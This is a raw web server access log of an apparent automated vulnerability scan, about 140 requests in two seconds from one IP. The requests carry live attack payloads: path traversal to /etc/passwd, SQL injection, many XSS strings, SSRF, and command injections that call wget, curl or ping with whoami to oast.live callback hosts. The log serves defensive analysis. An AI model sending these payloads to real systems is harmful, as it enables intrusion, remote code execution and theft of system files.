[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/downloadMainLog?fname=../../../../../../..//etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /js/jquery_file_upload/server/php/ HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://d5g6to2hausk1oj0j65g1rdu14w616ae7.oast.live%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1" 226
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /git/notifyCommit?url=380DIOgWfFBe5nc04cME8oP45tI&branches=380DIOgWfFBe5nc04cME8oP45tI HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /i3geo/pacotes/linkedinoauth/example/access_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /components/statestore HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /i3geo/pacotes/linkedinoauth/example/request_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fw.login.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.zul HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/ao_ccss/queuelog.html HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hms/user-login.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v2/open/rowsInfo HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /booking.php?car_id=-1%20union%20select%201,md5(999999999),3,4,5,6,7,8,9,10--+ HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ExportLogs.sh HTTP/1.1" 199
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ibeCRgpIndividualUser.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=user/login HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/view_car.php?id=-1%20union%20select%201,md5(999999999),3,4,5,6,7,8,9,10--+ HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /task/loginValidation.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ== HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2/cmdb/system/admin HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /scgi-bin/platform.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /network_test.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=user/login HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlets/OmaDsServlet HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/manage_booking.php?id=-1%20union%20select%201,2,3,4,5,6,md5(999999999),8,9,10,11--+ HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/manage_user.php?id=-1%20union%20select%201,md5(999999999),3,4,5--+ HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /controller/ping.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kfm/index.php/%27%3Cscript%3Ealert%28document.domain%29;%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/latest/repos HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/resend-activation?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //interactsh.com%2f.. HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /navpage.do HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pfblockerng/www/index.php HTTP/1.1" 226
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/createpage-entervariables.action HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /templates/default/html/windows/right.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?page=home HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/subscriber HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5cexample.com HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/user/ HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://oast.fun/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /delsnap.pl?name=|id HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getCorsFile?urlPath=aHR0cHM6Ly9vYXN0Lm1l HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wnm/login/login.json HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/appagebuilder/apajax.php?rand=7936808434206 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/config?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /configWizard/keyUpload.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name=380DIEx39S30oZTgDtVJbMAJGny.pHp HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=user/login HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX\"><script>alert(document.cookie)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /overview HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=<img%20src%20onerror=alert(document.domain)>&LastName=<img%20src%20onerror=alert(document.domain)>&%20Company=<img%20src%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp-content/uploads/ao_ccss/queuelog.html HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.d5g6to2hausk1oj0j65ggoxm3eaq4x5qm.oast.live) HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword=\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.war HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.tar HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.7z HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ibeCRgpPartnerPriCreate.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20d5g6to2hausk1oj0j65gswzde41pzxfyb.oast.live%20-H%20'User-Agent%3a%20vqcJn2'; HTTP/1.1" 226
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/download-monitor/v1/user_data HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /banker/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /api/v2/cmdb/system/admin/admin HTTP/1.1" 220
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hss/?q=%27%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ProcessWait.aspx?POBatch=</script><script>alert(document.domain)</script>&WaitDuration=3 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/wa-HAP.exe?TICKET=test&c=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?paytm_action=curltest&url=d5g6to2hausk1oj0j65gyk3ufmirbgdhp.oast.live HTTP/1.1" 3426
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/set_profiling?profile=0&collectors=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/users.php HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /unsafe/plain/https://cve-2023-1496.s3.amazonaws.com/imgproxy_xss.svg HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /badging/badge_template_v0.php?layout=1&type=\"/><svg/onload=\"alert(document.domain)\"/> HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1> HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /flash/addcrypted2 HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2.0/search?q=/ HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /template/custom/content-editor HTTP/1.1" 196
[09/Jan/2026:10:54:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?lang=../../thinkphp/base HTTP/1.1" 3426
